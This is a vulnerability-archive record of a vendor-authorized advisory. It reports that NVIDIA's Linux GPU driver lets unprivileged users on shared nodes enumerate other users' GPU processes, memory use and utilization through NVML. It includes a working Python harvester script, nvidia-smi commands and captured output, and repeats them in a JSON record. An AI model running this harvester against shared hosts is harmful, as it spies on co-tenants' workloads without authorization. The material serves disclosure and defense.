GCVE-1988-2026-0082
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:10
VLAI
EPSS
VEX
Title
NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)
Summary
NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML
============================================================================
On a multi-user Linux GPU host where mutually untrusted users can open
the same /dev/nvidia* devices - the driver's default mode is 0666 - an
unprivileged user can enumerate another user's GPU processes and
per-process GPU telemetry through standard NVML management APIs. NVML
directly returned the foreign PID, the per-process GPU-memory
allocation and the SM utilization; nvidia-smi additionally displayed
the process path, but the corresponding direct
nvmlSystemGetProcessName() call was not captured. Measured on one
configuration: A100, MIG off, bare metal, two local UIDs. No root, no
gpu/video/render group membership, no capabilities, no CUDA context of
the attacker's own, no performance counters, no injected traffic, no
race. The attacker learns, for processes belonging to other users:
PID, per-process GPU memory allocation, per-process SM utilization,
and - via nvidia-smi - the binary path. Read-only workload metadata;
no GPU memory contents are read. NVIDIA reviewed the finding and
determined it is expected behavior.
Affected: NVIDIA Linux GPU driver, NVML management plane
Tested: 595.71.05-open; core channels also reproduced on 565.57.01-open
Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off
Platform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9
(driver-reported runtime 13.2)
CWE: CWE-200 (exposure of information to an unauthorized actor),
CWE-862 (missing authorization)
Status: Closed by NVIDIA as expected behavior. No fix. Public
disclosure authorized by NVIDIA PSIRT 2026-08-20.
CVE: none assigned
Ref: Intigriti NVIDIA-W5AB0FZR
Companion: "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via
undocumented peer-teardown ordering" - same node, same driver, same
0666 precondition
Root Cause
----------
Two independent facts compound.
(a) /dev/nvidia* is mode 0666 by driver default. This is set by the
kernel module, not by a site udev rule.
# grep -E 'ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly'
/proc/driver/nvidia/params
ModifyDeviceFiles: 1
DeviceFileMode: 438
RmProfilingAdminOnly: 1
438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module
rewrites existing device files to match its own defaults, so an
administrator who tightens the mode out-of-band can have it reverted
on module reload. The vendor sources agree: open-gpu-kernel-modules
carries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in
kernel-open/nvidia/nv-reg.h with the comment "The default mode is 0666
(octal, rw-rw-rw-)", and the driver README "Device files" section
documents UID 0 / GID 0 / Mode 0666 as the default, adding "Existing
device files are changed if their attributes don't match these
defaults."
(b) NVML management APIs apply no UID, cgroup, or capability check to
a caller holding that file descriptor. Any opener receives the
node-wide management view.
+------------------+ +-------------------+
| victim uid 1000 | | attacker uid 1011 |
| CUDA workload | | no groups, Cap=0 |
+--------+---------+ +---------+---------+
| |
| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)
v v
+-----------------------------------------------------------------------+
| nvidia.ko -> NVML management plane |
| |
| nvmlDeviceGetComputeRunningProcesses() -> ALL pids, ALL uids |
| nvmlDeviceGetProcessUtilization() -> ALL pids, ALL uids |
| ^ |
| +--- no ownership check anywhere on this path|
+-----------------------------------------------------------------------+
NVML already has the concept of privilege-gating this exact call -
just not in ordinary shared-GPU mode. From nvml.h, on both
nvmlDeviceGetComputeRunningProcesses_v3 and
nvmlDeviceGetMPSComputeRunningProcesses_v3:
"In MIG mode, if device handle is provided, the API returns aggregate
information,
only if the caller has appropriate privileges."
So under MIG, process enumeration through the physical-device handle
is privilege-gated. Outside MIG there is no corresponding UID
ownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3
documents NVML_ERROR_NO_PERMISSION in its return list and does not
return it here; nvmlDeviceGetProcessUtilization and
nvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error
at all.
Note RmProfilingAdminOnly: 1 in the same params output. The CUPTI
performance-counter plane IS gated behind CAP_SYS_ADMIN on this exact
node - that gate was added as the fix for CVE-2018-6260. The NVML
per-process management plane received no equivalent gate. That
asymmetry is the finding.
Attacker Prerequisites
----------------------
A shell account on the node. The observer used for all captured runs:
uid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)
CapInh: 0000000000000000 -> NONE
CapPrm: 0000000000000000 -> NONE
CapEff: 0000000000000000 -> NONE
CapAmb: 0000000000000000 -> NONE
CapBnd: 000001ffffffffff
No sudo. Not in sudo/wheel/admin/docker/video/gpu/render.
No Docker socket. Cannot load kernel modules. Cannot ptrace other
users' processes.
Proof of Concept
----------------
Victim, uid 1000 - any long-running CUDA workload. The captured runs
used nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a
CUDA context works; this needs only pytorch:
python3 -c "import torch,time
x=torch.randn(8192,8192,device='cuda')
while True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)"
Attacker, uid 1011, via the shipped CLI:
nvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory
--format=csv,noheader
nvidia-smi pmon -c 3
nvidia-smi nvlink -gt d
That first command, run by an unprivileged user with no group
membership, is the entire exploit. Everything below is the same read
straight through NVML. Captured output as uid 1011 against the uid
1000 victim:
pid, process_name, used_gpu_memory [MiB], gpu_uuid
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278
77977, /usr/local/bin/all_reduce_perf, 2288 MiB,
GPU-fe44d319-939f-d747-de55-6802405cad8d
Full PoC code, harnesses and raw evidence for both findings:
<https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc&source=gmail&ust=1787513712074000&sa=E>
Straight through NVML with no nvidia-smi involved. This is the complete exploit:
#!/usr/bin/env python3
# unprivileged cross-UID GPU telemetry harvester
# run as any local user: python3 harvest.py
# pip install nvidia-ml-py (provides the `pynvml` module; the standalone
# `pynvml` PyPI package is a deprecated shim as of v12)
import os, pwd, pynvml
def owner(pid):
try: return os.stat("/proc/%d" % pid).st_uid
except: return None
def exe(pid):
# Tries NVML first. NOTE: this direct call was not verified cross-UID here -
# see the note below the output. Falls back to cmdline, never to exe.
try:
n = pynvml.nvmlSystemGetProcessName(pid)
return n.decode() if isinstance(n, bytes) else n
except Exception:
# /proc/<pid>/cmdline is world-readable - this is how ps(1) shows other
# users' command lines. /proc/<pid>/exe is NOT: readlink on it needs
# PTRACE_MODE_READ, which this attacker does not have.
try: return open("/proc/%d/cmdline" % pid,"rb").read().split(b"\0")[0].decode()
except: return "?"
def owner_name(u):
try: return pwd.getpwuid(u).pw_name
except KeyError: return str(u) # no passwd entry: LDAP, containers
pynvml.nvmlInit()
me = os.getuid()
found = 0
for i in range(pynvml.nvmlDeviceGetCount()):
h = pynvml.nvmlDeviceGetHandleByIndex(i)
# cross-UID process table + per-process GPU memory
for p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):
u = owner(p.pid)
if u is not None and u != me:
found += 1
print("[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s" % (
i, p.pid, u, owner_name(u),
(p.usedGpuMemory or 0) >> 20, exe(p.pid)))
# cross-UID per-process SM / memory-controller utilization.
# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are
# returned, so a small constant drains everything the driver still buffers.
try:
for pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):
u = owner(pu.pid)
if u is not None and u != me:
print("[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%" % (
i, pu.pid, u, pu.smUtil, pu.memUtil))
except pynvml.NVMLError as e:
# NVML_ERROR_NOT_FOUND here means the driver's sample buffer is empty,
# NOT that the call is gated. Poll for a few seconds and retry.
print(" nvmlDeviceGetProcessUtilization -> %s" % e)
# device-global telemetry, no gate at all
print("[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB" % (
i, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,
pynvml.nvmlDeviceGetUtilizationRates(h).gpu,
pynvml.nvmlDeviceGetMemoryInfo(h).used >> 20))
if not found:
print("no cross-UID GPU processes visible (is a victim workload running?)")
Output:
[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB
exe=/usr/local/bin/all_reduce_perf
[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%
NVML supplies the PID and the GPU memory figure. The binary path came
from nvidia-smi --query-compute-apps=process_name, which is
NVML-backed and returned the full path /usr/local/bin/all_reduce_perf
to the unprivileged observer - that output is captured. The direct
call, nvmlSystemGetProcessName(), is what the PoC above uses and it is
NOT something I captured cross-UID; NVML documents
NVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather
than taking it from me. The captured harness resolved names through
/proc. Note that /proc/<pid>/exe is not readable cross-UID, so if you
fall back to procfs use /proc/<pid>/cmdline, not exe. The only field
procfs is needed for is the owning UID, via stat() on /proc/<pid>.
Polling nvmlDeviceGetProcessUtilization in a loop yields a per-victim
SM utilization time series. What that supports on the evidence here is
busy-versus-idle and job start/stop. Finer structure - step cadence,
phase boundaries - is plausible but was not demonstrated, and I do not
claim it.
Results: 5/5 positive sessions with all seven machine-scored success
criteria passing, and 2/2 negative controls (no victim workload, no
cross-UID records) confirming the signal tracks the victim. For every
compute-app row root could see, the unprivileged observer saw a
matching row - same PID, same binary name, same GPU - in all five
positive sessions. That comparison is field-level (whitespace and row
order normalized, process name compared by basename), not a byte diff.
All channels leak with GPU accounting mode disabled, which is the
fresh default, so this is not a case of an administrator having
enabled accounting.
Telemetry Channels
------------------
Channel NVML API CLI Result
----------------------------- ---------------------------------------
---------------------- --------------------------
Process PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps
LEAKS (redundant with ps)
Binary path nvidia-smi's NVML-backed query --query-compute-apps LEAKS
(captured); direct
(nvmlSystemGetProcessName NOT captured) NVML call unverified
Per-process GPU memory nvmlDeviceGetComputeRunningProcesses
--query-compute-apps LEAKS - GPU-specific
Per-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS
- GPU-specific
NVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink
-gt d LEAKS via CLI - prior art
NVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS
Device power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)
Impact
------
A low-privileged tenant on a shared HPC or AI node passively monitors
co-tenants in real time: who is running GPU work, which binary, the
GPU memory footprint (a model-size proxy), the SM utilization timeline
(training and idle cadence, step rate, job boundaries), and NVLink
pair activity (distributed job topology).
No computation content is read - no weights, a
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Nvidia | NVIDIA Linux GPU |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "NVIDIA Linux GPU",
"vendor": "Nvidia",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Abhinav Agarwal"
}
],
"descriptions": [
{
"lang": "en",
"value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-276",
"description": "CWE-276",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-862",
"description": "CWE-862",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:10:24Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/77"
},
{
"url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/77"
],
"discovery": "EXTERNAL"
},
"title": "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0082",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77",
"automated": true,
"contentSha256": "eda9b97373cfa1b602256c1f71b15efde5a40742aa2d77e5e851378506b0282e",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/77",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T19:37:52Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-09T10:10:24Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0082"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…